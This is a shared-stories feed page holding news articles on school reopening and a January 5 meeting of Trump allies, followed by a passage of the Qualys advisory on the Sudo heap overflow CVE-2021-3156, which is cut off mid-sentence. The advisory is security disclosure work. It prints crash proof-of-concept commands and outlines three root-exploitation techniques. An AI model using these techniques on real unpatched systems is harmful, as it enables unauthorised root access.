Software developer, cyclist, photographer, hiker, reader.I work for the Library of Congress but all opinions are my own.Email:
15787 stories

Teacher Unions And School Districts In Tug Of War Over Reopening : NPR

1 Comment and 2 Shares

Diana Muhammad, who teaches PE and dance in Chicago Public Schools, was "unsure," "uncertain" and "reluctant" about her district's plan for in-person classes starting Monday. At a Chicago Teachers Union press conference earlier this month, she said the plan felt "rushed." And then things got really scary.

"Over the winter break, my life was devastated when my daughter, who was sick with various symptoms all over the place for an entire week, woke up one morning and could not see."

Her daughter ended up in intensive care for a week, she said. It turned out to be a case of multisystem inflammatory syndrome, or MIS-C. That's an extremely rare, and very dangerous, complication of COVID-19 found in children, particularly in Black and Latino children. Noting this disparate impact, and the fact that Chicago Public School students are about 90% nonwhite, Muhammad said, "Now I am seriously concerned about us rushing back without having a well thought-out plan."

The idea that opening Chicago's school buildings in February 2021, 11 months after they shut down, constitutes "rushing back" would be news in most of the country. As of the third week of January, 58% of students nationwide were in districts with at least some in-person learning. That's according to the organization Burbio, which scrapes a selection of school websites for the data. And that's actually a growing number. Burbio reported that late January brought the biggest drop in "virtual-only" students since September. Many districts opened up school buildings again after closures brought on by holiday-related spikes.

However, Burbio estimates about a third of the country's students have not had a single day in school since last March. This includes much of the West Coast, the Mid-Atlantic and some big cities like Chicago, Philadelphia, Cleveland and Atlanta.

In some of those districts, trying to open up for the first time right now is like spitting into a freezing wind (without a mask). On Tuesday, the Chicago Teachers Union and CPS failed to reach a deal on school reopening, triggering plans for 14,000 school staff to refuse to report to schools on Wednesday, and opening the door for a strike.

In Montclair, N.J., an affluent New York City suburb, teachers also refused to come to work, leading the district to abandon its opening plans set for this past Monday. And Washington, D.C., appears headed for a similar showdown over a Feb. 1 opening date. In all three places, this is only the latest in a series of torn-up reopening plans.


The terrible and mounting toll of the pandemic has caused positions to harden on both sides of the reopening debate. For districts that pledged in the summer or fall to reopen when coronavirus numbers got better, there are many cases where the numbers haven't cooperated.

"There is little likelihood the low-income communities we serve, which have been hit hardest by the virus, will meet the proposed 'Safe Schools for All' COVID guidelines by February 1st," Los Angeles Unified Superintendent Austin Beutner told his community on Monday. "Many experts say even March 1st is unlikely, given current health conditions. Sadly, COVID numbers remain at dangerously high levels in nearly every category – infections, hospitalizations and deaths."

Up to now, there has been no centralized data collection on cases, outbreaks and mitigation measures in U.S. schools — something President Biden has just ordered federal agencies to begin doing. Still, there is an emerging scientific consensus that schools can be safe, given the right precautions, even when community spread is high.

On Tuesday, three Centers for Disease Control and Prevention scientists released a review of U.S. and international evidence in the Journal of the American Medical Association making just this point: "Accumulating data now suggest a path forward to maintain or return primarily or fully to in-person instructional delivery." With precautions, and canceling higher-risk activities such as athletics, the paper said, reopening can be safe. Separately, the CDC itself released a study of schools in Wisconsin that found even when cases were spiking in the community, there were just 7 cases among nearly 5,000 students and zero cases among staff. That's with more than 9 out of 10 students reportedly wearing masks.

With heartbreaking experiences like Diana Muhammad's to share, teacher unions in some places have rallied around the cry "#onlywhenitssafe." But "safe" means trusting management to report cases, sanitize buildings, improve ventilation — and multiple rounds of negotiations have detonated old landmines of mistrust and mistreatment.

In Chicago, for example, the tug of war between the union and the school district goes back to March. Administrators, Mayor Lori Lightfoot and the head of the Chicago department of public health did not initially want to close schools. But, just after the union held a press conference calling for schools to be closed in March, Illinois Gov. JB Pritzker made the call that schools would be shut down statewide.

Once they were closed, city and school district officials twice insisted that they reopen for in-person learning. Both times the union fought back, even threatening to hold a strike vote. Both times, the school district blinked.

Yet, for much of the past year, CPS officials have insisted — and still insist — that the union cannot dictate whether schools are open or not.

In Washington, D.C., teachers explain their hesitation to go back to in-person learning by citing historic educational inequities.

"East of the river, things are dictated to us," says teacher union activist Laura Fuchs, referring to a majority Black, high poverty area of the city. "The [school] bathroom has not had a working soap dispenser since the building opened ... they don't seem to care."

D.C. Public Schools told NPR over email, "We are proud to have worked collaboratively with the Washington Teachers' Union on an agreement reached in December that represents our shared commitment to ensuring students have the high-quality education and supports they need to thrive, and our teachers and staff feel safe and prepared to return to school buildings."

The goalposts on "safe" also seem to keep moving. Now that vaccines are out, some teachers say they will agree to return to work in person only when fully vaccinated, which could take months.

University of Washington epidemiologist Helen Chu, who became known early in the pandemic for detecting the first signs of local transmission in the U.S., endorsed that position recently on a public panel:

"Get the teachers vaccinated, that's clearly important and can be done right now, and at that point, that's when we reopen."

In at least one state, Ohio, Gov. Mike DeWine is asking superintendents to sign a pledge to resume in-person instruction by March 1, as a condition of their staff receiving priority access to the vaccine.


Grace Lee, chief medical officer for practice innovation and a pediatric infectious disease physician at Stanford Children's Health, advised the CDC on coronavirus vaccine priorities. Her position differs from Chu's: "Clearly, both schools in the U.S. and schools in other countries have been able to effectively reopen," she says. With multiple "swiss cheese" layers of precautions, including masking, distancing, handwashing and ventilation, she says school can be relatively safe; the vaccine is one more layer.

As the months drag on without the in-person learning, the specialized services, the social opportunities, the hot meals or the child care that schools provide, some parents have organized under hashtags like #openschools.

Lisa Cohen, a parent of a kindergartner in D.C., is one of them.

"It's fear-based," she says of the drive to stay remote. "Like if it was science-based, fact-based, data-based, we could put out a metric or we could look at the data and decide when we get there and when it's safe. But it has become an emotional conversation. It's become a political conversation. And I don't know where and how you end those."

These open school advocates have marshalled the support of many pediatricians, as in this open letter. They point to the many states where schools are mostly open — like Florida, Georgia and Texas — yet cases have started to come down again in the last few weeks, as they have elsewhere.

A mountain of makeup work ahead

In many late-opening districts, only a minority of families have signaled interest in changing their current remote school and childcare arrangements in favor of a few days a week of in-person learning, sometimes with a different teacher than they've been working with all year.

The Washington Post reported over the weekend that 5,200 D.C. students had signed up for in-person classes, in a district of around 50,000. In Chicago, the district said it planned to bring about 70,000 elementary school students back, out of about 280,000 total students enrolled.

Laura Fuchs in D.C., says her district's reopening plan is sorely lacking details, and doesn't sound particularly engaging for students.

"We're going back once a week, with a group of students placed in a cohort, to do a combination of remediation, test prep, makeup work."

Even as the voices get louder, the time remaining in this school year dwindles, and the pile of makeup work for everyone is just getting bigger.

Eda Uzunlar is an intern on NPR's Education Desk.

Read the whole story
4 hours ago
Share this story
1 public comment
5 hours ago
Any time you hear complaints about the unions, remember this part: ‘But "safe" means trusting management to report cases, sanitize buildings, improve ventilation — and multiple rounds of negotiations have detonated old landmines of mistrust and mistreatment.’

School districts with a history of poor communications where management views teachers as some kind of obstacle rather than allies will have problems. This is something senior management could have spent 2020 working on.
Washington, DC

Trump appointee says Tuberville, RAGA director met with Trump family, top advisers on eve of Capitol attack

1 Share

The night before the deadly attack on the U.S. Capitol, Alabama Republican Senator Tommy Tuberville and the then-director of the Republican Attorneys General Association met with then-President Donald Trump’s sons and close advisers, according to a social media post by a Nebraska Republican who at the time was a Trump administration appointee. 

Charles W. Herbster, who was then the national chairman of the Agriculture and Rural Advisory Committee in Trump’s administration, in a Facebook post at 8:33 p.m. on Jan. 5 said that he was standing “in the private residence of the President at Trump International with the following patriots who are joining me in a battle for justice and truth.”

Tuberville, through a spokeswoman Tuesday, told APR that he did not attend a Jan. 5 meeting at the Trump International Hotel in Washington.

Among the attendees, according to Herbster’s post, were Tuberville, former RAGA director Adam Piper, Donald Trump Jr., Eric Trump, Trump’s former National Security Advisor Michael Flynn, adviser Peter Navarro, Trump’s 2016 campaign manager Corey Lewandowski and 2016 deputy campaign manager David Bossie. 

RAGA’s dark-money fundraising arm, the Rule of Law Defense Fund, led by Alabama Attorney General Steve Marshall, paid for robocalls directing people to the March to Save America and rally, which took place just before the Capitol attack.

Herbster attended the Jan. 6 rally, but said he left before the riot, according to the Omaha World-Herald. The newspaper also reported that Herbster “also met Tuesday in Trump’s private residence in his Washington, D.C., hotel with Trump’s sons, Donald Jr. and Eric, and other campaign advisers.”

“They discussed how to pressure more members of Congress to object to the Electoral College results that made Joe Biden the winner,” The Omaha World-Herald reported. 

Advertisement. Scroll to continue reading.

Flynn earlier on Jan. 5 spoke at a rally of pro-Trump supporters in support of Trump’s baseless claims of widespread election fraud. 

“We stand at a crucible moment in United States history. This country is awake now,” Flynn told the crowd, according to numerous news outlets. 

Congressman Mo Brooks, R-Alabama, spoke at the rally prior to the Capitol attack, telling the crowd: “Today is the day that American patriots start taking down names and kicking ass.” Right-wing political activist and an organizer of the Jan. 6 “Stop the Steal” rally, Ali Alexander, in videos posted on social media claimed that Brooks was involved in the planning of the rally that day, meant to pressure lawmakers inside the Capitol as they prepared to vote on certifying the Electoral College votes. 

The Jan. 5 meeting, as discussed in the Facebook post, was first reported by journalist Seth Abramson on Tuesday. Abramson in his article states that it’s unclear if Trump himself attended the Jan. 5 meeting at his hotel. 

“I’ve dedicated my life to promoting and preserving the American Dream. Tonight, as I look at our nation’s flag, I’m reminded of the battles and blood spilled to protect our way of life,” Herbster wrote in his post:


Charles W. Herbster, who was then the national chairman of the Agriculture and Rural Advisory Committee in Trump’s administration, in a Facebook post at 8:33 p.m. on Jan. 5 said that he was standing “in the private residence of the President at Trump International with the following patriots who are joining me in a battle for justice and truth.”

In numerous photos posted to his Facebook page in the months prior to the Jan. 5 meeting, Herbster can be seen posing with Trump and Trump’s sons and close advisors.

APR sent questions to a Tuberville spokesperson asking whether the senator had attended a Jan. 5 meeting with Trump at his hotel, and if so, why was he called to the meeting and what was discussed. The Tuberville spokeswoman replied in an email: “the answers to your questions are No and Not Applicable.” Attempts to contact Herbster on Tuesday were unsuccessful. 

As pro-Trump supporters, far-right groups and militia members were breaking into the U.S. Capitol on Jan. 6, Trump and his attorney Rudy Giuliani both mistakenly called Republican Sen. Mike Lee of Utah while trying to call Tuberville, according to multiple news accounts, a recording of a voicemail message by Giuliani left for Tuberville and statements by Lee. 

Advertisement. Scroll to continue reading.

In the recorded voicemail message mistakenly left on Lee’s phone, first reported by The Dispatch, Giuliani asks Tuberville to stall the counting of electoral votes. 

“I want to discuss with you how they’re trying to rush this hearing and how we need you, our Republican friends, to try to just slow it down so we can get these legislatures to get more information to you,” Giuliani said in a voicemail. 

Piper resigned as director of RAGA on Jan. 12 following much public scrutiny over robocalls paid for by the Rule of Law Defense Fund. 

“Every decision Adam made on behalf of RLDF was with the best of intentions and with the organization’s best interests in mind,” Marshall said in a statement at the time. “Adam leaves a void that will be difficult to replace, but we wish Adam well as he pursues other opportunities that will allow him to spend more time with his family.” 

Marshall has not publicly said why Piper resigned. Attempts to reach Piper for comment Tuesday were not successful. 

RLDF was listed as a participating organization for the Jan. 6 “March to Save America” on the march’s website. The website is now down, but archived versions show RLDF as a participating group. Prior to the protest, RLDF sent out robocalls detailing when and where citizens should meet for the Jan. 6 rally, which was first reported by the watchdog investigative journalism group Documented

“I’m calling for the Rule of Law Defense Fund with an important message,” the robocall stated, according to Documented. “The march to save America is tomorrow in Washington D.C. at the Ellipse in President’s Park between E St. and Constitution Avenue on the south side of the White House, with doors opening at 7:00 a.m. At 1:00 p.m., we will march to the Capitol building and call on Congress to stop the steal. We are hoping patriots like you will join us to continue to fight to protect the integrity of our elections. For more information, visit <a href="" rel="nofollow"></a>. This call is paid for and authorized by the Rule of Law Defense Fund, 202-796-5838.” 

Advertisement. Scroll to continue reading.

“Serving Republican attorneys general has been the honor of a lifetime and honestly a dream job,” Piper said in a statement on his resignation, according to the Associated Press.

In a statement to APR on Jan. 7, after APR’s story on the matter had published earlier that day, Piper said neither RAGA nor RLDF was involved with the planning of the rally and seemed to place the blame on staff. 

“The Republican Attorneys General Association and Rule of Law Defense Fund had no involvement in the planning, sponsoring, or the organization of yesterday’s rally,” Piper said in the statement at the time. “No Republican AG authorized the staff’s decision to amplify a colleague speaking at the rally. Organizationally and individually, we strongly condemn and disavow the events which occurred. Yesterday was a dark day in American history and those involved in the violence and destruction of property must be prosecuted and held accountable.”

Marshall, in a statement to APR on Jan. 8, blamed unnamed RLDF staff and said he was not aware of his organization’s involvement:

“I was unaware of unauthorized decisions made by RLDF staff with regard to this week’s rally. Despite currently transitioning into my role as the newly elected chairman of RLDF, it is unacceptable that I was neither consulted about nor informed of those decisions. I have directed an internal review of this matter. As I said yesterday, I condemn, in the strongest possible terms, the actions of those who attempted to storm the U.S. Capitol, a place where passionate but peaceful protestors had gathered and lawmakers debated inside. Our country is built upon the foundation of the rule of law. American democracy guarantees the right of peaceful protest. Those who chose to engage in violence and anarchy should and will be held accountable under the law.”

Marshall, speaking to The Montgomery Advertiser on Jan. 12, after a press conference on human trafficking and before Piper’s resignation was announced, said the internal review was ongoing. Asked by the Advertiser whether he felt Trump bore any responsibility for the violence at the Capitol on Wednesday, and for comment on Trump’s potential impeachment, Marshall declined to comment. 

“I didn’t see anything about the rally,” Marshall said, according to the newspaper. “I don’t know anything about his remarks.” 

APR’s questions to Marshall’s office Tuesday about the status of Marshall’s investigation into the matter, and whether he has learned of Piper’s possible attendance at that Jan. 5 meeting, weren’t immediately answered.

Advertisement. Scroll to continue reading.
Read the whole story
Share this story

CDC Officials Say Evidence Indicates Schools Can Reopen If Precautions Are Taken - The New York Times

1 Comment

Emily Oster, a professor of economics and public policy at Brown University who created the dashboard, said that low case rates in the community make it possible to keep schools running safely.

“Prioritizing schools is going to mean limiting some of those other activities, and deciding that we want to undertake some of those sacrifices to keep schools open, because we’ve decided as a society that schools are important relative to other things,” Dr. Oster said.

“The frustration for many people is that you can go to an indoor restaurant. In Massachusetts, I could go to an indoor water park like Great Wolf Lodge — I can take my kids to Great Wolf Lodge. But in a lot of places in Massachusetts, there has been no school.”

The C.D.C. also published two related studies on Tuesday. One was an investigation of a high school wrestling tournament in Florida in December that became a super-spreader event, leading to at least 79 infections and one death.

The tournament brought together 10 schools and 130 athletes and coaches, and 30 percent of participants were infected with the coronavirus. Thirty-eight individuals went on to transmit the virus to at least 41 others, including family members. (The full number is not yet known, because fewer than half the participants were tested.)

The researchers calculated that 1,700 in-person school days were lost to quarantines and isolation of patients and their contacts. The number would have been higher if not for the December holiday break.

C.D.C. researchers also took a look at 17 elementary and secondary schools in rural Wisconsin where mask-wearing was routine. The incidence of infection was lower in schools than in the community at large, the scientists found. During 13 weeks in the fall of 2020, there were 191 infections among staff and students; only seven resulted from in-school transmission, according to the study.

Read the whole story
Share this story
1 public comment
12 hours ago
“local officials also must be willing to impose limits on other settings — like indoor dining, bars or poorly ventilated gyms — in order to keep infection rates low in the community at large”
Washington, DC

oss-security - Baron Samedit: Heap-based buffer overflow in Sudo (CVE-2021-3156)

1 Comment
Hash Suite - Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Tue, 26 Jan 2021 18:15:50 +0000
From: Qualys Security Advisory <<a href=""></a>>
To: "" <<a href=""></a>>
Subject: Baron Samedit: Heap-based buffer overflow in Sudo (CVE-2021-3156) Qualys Security Advisory Baron Samedit: Heap-based buffer overflow in Sudo (CVE-2021-3156) ========================================================================
======================================================================== Summary
Timeline ========================================================================
======================================================================== We discovered a heap-based buffer overflow in Sudo
( This vulnerability: - is exploitable by any local user (normal users and system users, sudoers and non-sudoers), without authentication (i.e., the attacker does not need to know the user's password); - was introduced in July 2011 (commit 8255ed69), and affects all legacy versions from 1.8.2 to 1.8.31p2 and all stable versions from 1.9.0 to 1.9.5p1, in their default configuration. We developed three different exploits for this vulnerability, and
obtained full root privileges on Ubuntu 20.04 (Sudo 1.8.31), Debian 10
(Sudo 1.8.27), and Fedora 33 (Sudo 1.9.2). Other operating systems and
distributions are probably also exploitable. ========================================================================
======================================================================== If Sudo is executed to run a command in "shell" mode (shell -c command): - either through the -s option, which sets Sudo's MODE_SHELL flag; - or through the -i option, which sets Sudo's MODE_SHELL and MODE_LOGIN_SHELL flags; then, at the beginning of Sudo's main(), parse_args() rewrites argv
(lines 609-617), by concatenating all command-line arguments (lines
587-595) and by escaping all meta-characters with backslashes (lines
590-591): ------------------------------------------------------------------------
571 if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {
572 char **av, *cmnd = NULL;
573 int ac = 1;
581 cmnd = dst = reallocarray(NULL, cmnd_size, 2);
587 for (av = argv; *av != NULL; av++) {
588 for (src = *av; *src != '\0'; src++) {
589 /* quote potential meta characters */
590 if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')
591 *dst++ = '\\';
592 *dst++ = *src;
593 }
594 *dst++ = ' ';
595 }
600 ac += 2; /* -c cmnd */
603 av = reallocarray(NULL, ac + 1, sizeof(char *));
609 av[0] = (char *); /* plugin may override shell */
610 if (cmnd != NULL) {
611 av[1] = "-c";
612 av[2] = cmnd;
613 }
614 av[ac] = NULL;
616 argv = av;
617 argc = ac;
618 }
------------------------------------------------------------------------ Later, in sudoers_policy_main(), set_cmnd() concatenates the
command-line arguments into a heap-based buffer "user_args" (lines
864-871) and unescapes the meta-characters (lines 866-867), "for sudoers
matching and logging purposes": ------------------------------------------------------------------------ 819 if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) { ... 852 for (size = 0, av = NewArgv + 1; *av; av++) 853 size += strlen(*av) + 1; 854 if (size == 0 || (user_args = malloc(size)) == NULL) { ... 857 } 858 if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) { ... 864 for (to = user_args, av = NewArgv + 1; (from = *av); av++) { 865 while (*from) { 866 if (from[0] == '\\' && !isspace((unsigned char)from[1])) 867 from++; 868 *to++ = *from++; 869 } 870 *to++ = ' '; 871 } ... 884 } ... 886 }
------------------------------------------------------------------------ Unfortunately, if a command-line argument ends with a single backslash
character, then: - at line 866, "from[0]" is the backslash character, and "from[1]" is the argument's null terminator (i.e., not a space character); - at line 867, "from" is incremented and points to the null terminator; - at line 868, the null terminator is copied to the "user_args" buffer, and "from" is incremented again and points to the first character after the null terminator (i.e., out of the argument's bounds); - the "while" loop at lines 865-869 reads and copies out-of-bounds characters to the "user_args" buffer. In other words, set_cmnd() is vulnerable to a heap-based buffer
overflow, because the out-of-bounds characters that are copied to the
"user_args" buffer were not included in its size (calculated at lines
852-853). In theory, however, no command-line argument can end with a single
backslash character: if MODE_SHELL or MODE_LOGIN_SHELL is set (line 858,
a necessary condition for reaching the vulnerable code), then MODE_SHELL
is set (line 571) and parse_args() already escaped all meta-characters,
including backslashes (i.e., it escaped every single backslash with a
second backslash). In practice, however, the vulnerable code in set_cmnd() and the escape
code in parse_args() are surrounded by slightly different conditions: ------------------------------------------------------------------------ 819 if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) { ... 858 if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
------------------------------------------------------------------------ versus: ------------------------------------------------------------------------
571 if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {
------------------------------------------------------------------------ Our question, then, is: can we set MODE_SHELL and either MODE_EDIT or
MODE_CHECK (to reach the vulnerable code) but not the default MODE_RUN
(to avoid the escape code)? The answer, it seems, is no: if we set MODE_EDIT (-e option, line 361)
or MODE_CHECK (-l option, lines 423 and 519), then parse_args() removes
MODE_SHELL from the "valid_flags" (lines 363 and 424) and exits with an
error if we specify an invalid flag such as MODE_SHELL (lines 532-533): ------------------------------------------------------------------------
358 case 'e':
361 mode = MODE_EDIT;
362 sudo_settings[ARG_SUDOEDIT].value = "true";
363 valid_flags = MODE_NONINTERACTIVE;
364 break;
416 case 'l':
423 mode = MODE_LIST;
425 break;
518 if (argc > 0 && mode == MODE_LIST)
519 mode = MODE_CHECK;
532 if ((flags & valid_flags) != flags)
533 usage(1);
------------------------------------------------------------------------ But we found a loophole: if we execute Sudo as "sudoedit" instead of
"sudo", then parse_args() automatically sets MODE_EDIT (line 270) but
does not reset "valid_flags", and the "valid_flags" include MODE_SHELL
by default (lines 127 and 249): ------------------------------------------------------------------------
249 int valid_flags = DEFAULT_VALID_FLAGS;
267 proglen = strlen(progname);
268 if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) {
269 progname = "sudoedit";
270 mode = MODE_EDIT;
271 sudo_settings[ARG_SUDOEDIT].value = "true";
272 }
------------------------------------------------------------------------ Consequently, if we execute "sudoedit -s", then we set both MODE_EDIT
and MODE_SHELL (but not MODE_RUN), we avoid the escape code, reach the
vulnerable code, and overflow the heap-based buffer "user_args" through
a command-line argument that ends with a single backslash character: ------------------------------------------------------------------------
sudoedit -s '\' `perl -e 'print "A" x 65536'`
malloc(): corrupted top size
Aborted (core dumped)
------------------------------------------------------------------------ From an attacker's point of view, this buffer overflow is ideal: - we control the size of the "user_args" buffer that we overflow (the size of our concatenated command-line arguments, at lines 852-854); - we independently control the size and contents of the overflow itself (our last command-line argument is conveniently followed by our first environment variables, which are not included in the size calculation at lines 852-853); - we can even write null bytes to the buffer that we overflow (every command-line argument or environment variable that ends with a single backslash writes a null byte to "user_args", at lines 866-868). For example, on an amd64 Linux, the following command allocates a
24-byte "user_args" buffer (a 32-byte heap chunk) and overwrites the
next chunk's size field with "A=a\0B=b\0" (0x00623d4200613d41), its fd
field with "C=c\0D=d\0" (0x00643d4400633d43), and its bk field with
"E=e\0F=f\0" (0x00663d4600653d45): ------------------------------------------------------------------------
env -i 'AA=a\' 'B=b\' 'C=c\' 'D=d\' 'E=e\' 'F=f' sudoedit -s '1234567890123456789012\'
------------------------------------------------------------------------ --|--------+--------+--------+--------|--------+--------+--------+--------+-- | | |12345678|90123456|789012.A|A=a.B=b.|C=c.D=d.|E=e.F=f.|
--|--------+--------+--------+--------|--------+--------+--------+--------+-- size <---- user_args buffer ----> size fd bk ========================================================================
======================================================================== Because Sudo calls localization functions at the very beginning of its
main() function: ------------------------------------------------------------------------ 154 setlocale(LC_ALL, ""); 155 bindtextdomain(PACKAGE_NAME, LOCALEDIR); 156 textdomain(PACKAGE_NAME);
------------------------------------------------------------------------ and passes translation strings (through the gettext() function and _()
macro) to format-string functions such as: ------------------------------------------------------------------------ 301 sudo_printf(SUDO_CONV_ERROR_MSG, _("%s is not in the sudoers " 302 "file. This incident will be reported.\n"), user_name);
------------------------------------------------------------------------ we initially wanted to reuse halfdog's fascinating technique from and
transform Sudo's heap-based buffer overflow into a format-string
exploit. More precisely: - at line 154, in setlocale(), we malloc()ate and free() several LC environment variables (LC_CTYPE, LC_MESSAGES, LC_TIME, etc), thereby creating small holes at the very beginning of Sudo's heap (free fast or tcache chunks); - at line 155, bindtextdomain() malloc()ates a struct binding, which contains a dirname pointer to the name of a directory that contains ".mo" catalog files and hence translation strings; - in set_cmnd(), we malloc()ate the "user_args" buffer into one of the holes at the beginning of Sudo's heap, and overflow this buffer, thus overwriting the struct binding's dirname pointer; - at line 301 (for example), gettext() (through the _() macro) loads our own translation string from the overwritten dirname -- in other words, we control the format string that is passed to sudo_printf(). To implement this initial technique, we wrote a rudimentary brute-forcer
that executes Sudo inside gdb, overflows the "user_args" buffer, and
randomly selects the following parameters: - the LC environment variables that we pass to Sudo, and their length (we use the "C.UTF-8" locale and append a random "@modifier"); - the size of the "user_args" buffer that we overflow; - the size of the overflow itself; - whether we go through Sudo's authentication code (-A or -n option) or not (-u #realuid option). Unfortunately, this initial technique failed; our brute-forcer was able
to overwrite the struct binding's dirname pointer: ------------------------------------------------------------------------
Program received signal SIGSEGV, Segmentation fault. 0x00007f6e0dde1ea9 in __dcigettext (domainname=domainname@...ry=0x7f6e0d9cc020 "sudoers", msgid1=msgid1@...ry=0x7f6e0d9cc014 "user NOT in sudoers", msgid2=msgid2@...ry=0x0, plural=plural@...ry=0, n=n@...ry=0, category=5) at dcigettext.c:619 => 0x7f6e0dde1ea9 <__dcigettext+1257>: cmpb $0x2f,(%rax) rax 0x4141414141414141 4702111234474983745
------------------------------------------------------------------------ but LC_MESSAGES was always the default "C" locale (not "C.UTF-8"), which
disables the string translation in gettext() (i.e., gettext() returns
the original format string, not our own). Fortunately, however, our brute-forcer produced dozens of unique Sudo
crashes and gdb backtraces; among these, three caught our attention, and
we eventually exploited all three. ========================================================================
1/ struct sudo_hook_entry overwrite
======================================================================== The first crash that caught our attention is: ------------------------------------------------------------------------
Program received signal SIGSEGV, Segmentation fault. 0x000056291a25d502 in process_hooks_getenv (name=name@...ry=0x7f4a6d7dc046 "SYSTEMD_BYPASS_USERDB", value=value@...ry=0x7ffc595cc240) at ../../src/hooks.c:108 => 0x56291a25d502 <process_hooks_getenv+82>: callq *0x8(%rbx) rbx 0x56291c1df2b0 94734565372592 0x56291c1df2b0: 0x4141414141414141 0x4141414141414141
------------------------------------------------------------------------ Incredibly, Sudo's function process_hooks_getenv() crashed (at line 108)
because we directly overwrote a function pointer, getenv_fn (a member of
a heap-based struct sudo_hook_entry): ------------------------------------------------------------------------ 99 int
100 process_hooks_getenv(const char *name, char **value)
101 {
102 struct sudo_hook_entry *hook;
103 char *val = NULL;
107 SLIST_FOREACH(hook, &sudo_hook_getenv_list, entries) {
108 rc = hook->u.getenv_fn(name, &val, hook->closure);
------------------------------------------------------------------------ To exploit this struct sudo_hook_entry overwrite, we note that: - the call to getenv_fn (at line 108) is compatible with a call to execve(): . name ("SYSTEMD_BYPASS_USERDB") is compatible with execve()'s pathname argument; . &val (a pointer to a NULL pointer) is compatible with execve()'s argv; . hook->closure (a NULL pointer) is compatible with execve()'s envp; - we can defeat ASLR by partially overwriting the function pointer getenv_fn (which points to the function sudoers_hook_getenv() in the shared library; and luckily, the beginning of contains a call to execve() (or execv()): ------------------------------------------------------------------------
0000000000008a00 <execv@plt>: 8a00: f3 0f 1e fa endbr64 8a04: f2 ff 25 65 55 05 00 bnd jmpq *0x55565(%rip) # 5df70 <<a href="mailto:execv@...BC_2.2.5">execv@...BC_2.2.5</a>> 8a0b: 0f 1f 44 00 00 nopl 0x0(%rax,%rax,1)
------------------------------------------------------------------------ - we can read /dev/kmsg (dmesg) as an unprivileged user on Ubuntu, and therefore obtain detailed information about our Sudo crashes. Consequently, we adopt the following strategy: - First, we brute-force the exploit parameters until we overwrite getenv_fn with an invalid userland address (above 0x800000000000) -- until we observe a general protection fault at getenv_fn's call site: ------------------------------------------------------------------------
sudoedit[15904] general protection fault ip:55e9b645b502 sp:7ffe53d6fa40 error:0 in sudo[55e9b644e000+1a000] ^^^
------------------------------------------------------------------------ - Next, we reuse these exploit parameters but overwrite getenv_fn with a regular pattern of valid (below 0x800000000000) but unmapped userland addresses -- in this example, getenv_fn is the 22nd pointer that we overwrite (0x32 is '2', a part of our pattern): ------------------------------------------------------------------------
sudoedit[15906]: segfault at 323230303030 ip 0000323230303030 sp 00007ffeeabf2868 error 14 in sudo[55b036c16000+5000] ^^^^
------------------------------------------------------------------------ - Last, we partially overwrite getenv_fn (we overwrite its two least significant bytes with 0x8a00, execv()'s offset in, and its third byte with 0x00, user_args's null terminator in set_cmnd()) until we defeat ASLR -- we have a good chance of overwriting getenv_fn with the address of execv() after 2^(3*8-12) = 2^12 = 4096 tries, thus executing our own binary, named "SYSTEMD_BYPASS_USERDB", as root. We successfully tested this first exploit on Ubuntu 20.04. ========================================================================
2/ struct service_user overwrite
======================================================================== The second crash that caught our attention is: ------------------------------------------------------------------------
Program received signal SIGSEGV, Segmentation fault. 0x00007f6bf9c294ee in nss_load_library (ni=ni@...ry=0x55cf1a1dd040) at nsswitch.c:344 => 0x7f6bf9c294ee <nss_load_library+46>: cmpq $0x0,0x8(%rbx) rbx 0x41414141414141 18367622009667905
------------------------------------------------------------------------ The glibc's function nss_load_library() crashed (at line 344) because we
overwrote the pointer "library", a member of a heap-based struct
service_user: ------------------------------------------------------------------------
327 static int
328 nss_load_library (service_user *ni)
329 {
330 if (ni->library == NULL)
331 {
338 ni->library = nss_new_service (service_table ?: &default_table,
339 ni->name);
342 }
344 if (ni->library->lib_handle == NULL)
345 {
346 /* Load the shared library. */
347 size_t shlen = (7 + strlen (ni->name) + 3
348 + strlen (__nss_shlib_revision) + 1);
349 int saved_errno = errno;
350 char shlib_name[shlen];
352 /* Construct shared object name. */
353 __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
354 "libnss_"),
355 ni->name),
356 ".so"),
357 __nss_shlib_revision);
359 ni->library->lib_handle = __libc_dlopen (shlib_name);
------------------------------------------------------------------------ We can easily transform this struct service_user overwrite into an
arbitrary code execution: - we overwrite ni->library with a NULL pointer, to enter the block at lines 330-342, avoid the crash at line 344, and enter the block at lines 344-359; - we overwrite ni->name (an array of characters, initially "systemd") with "X/X"; - lines 353-357 construct the name of a shared library "libnss_X/" (instead of ""); - at line 359, we load our own shared library "libnss_X/" from the current working directory and execute our _init() constructor as root. We successfully tested this second exploit on Ubuntu 20.04, Debian 10,
and Fedora 33. ========================================================================
3/ def_timestampdir overwrite
======================================================================== Our third exploit is not derived from one of Sudo's crashes, but from a
casual observation: during our brute-force, Sudo created dozens of new
directories in our current working directory (AAAAAA, AAAAAAAAA, etc).
Each of these directories belongs to root and contains only one small
file, named after our own user: Sudo's timestamp file -- we evidently
overwrote def_timestampdir, the name of Sudo's timestamp directory. If we overwrite def_timestampdir with the name of a directory that does
not already exist, then we can race against Sudo's ts_mkdirs(), create a
symlink to an arbitrary file, and: 3a/ either chown() this arbitrary file to user root and group root; 3b/ or open (or create) this arbitrary file as root, and write a struct
timestamp_entry to it. We were unable to transform 3a/ into full root privileges (for example,
if we chown() our own SUID binary to root, then the kernel automatically
removes our binary's SUID bit). If you, dear reader, find a solution to
this problem, please post it to the public oss-security mailing list! Eventually, we were able to transform 3b/ into full root privileges, but
we initially faced two problems: - Sudo's timestamp_open() deletes our arbitrary symlink if the file it points to is older than boot time. We were able to solve this first problem by creating a very old timestamp file (from the Unix epoch), by waiting until timestamp_open() deletes it, and by racing against timestamp_open() to create our final, arbitrary symlink. - We do not control the contents of the struct timestamp_entry that is written to the arbitrary file. To the best of our knowledge, we only control three bytes (a process ID or a struct timespec), and we were unable to transform this three-byte write into full root privileges. If you, dear reader, find a solution to this problem, please post it to the public oss-security mailing list! However, we were able to circumvent this second problem by abusing a
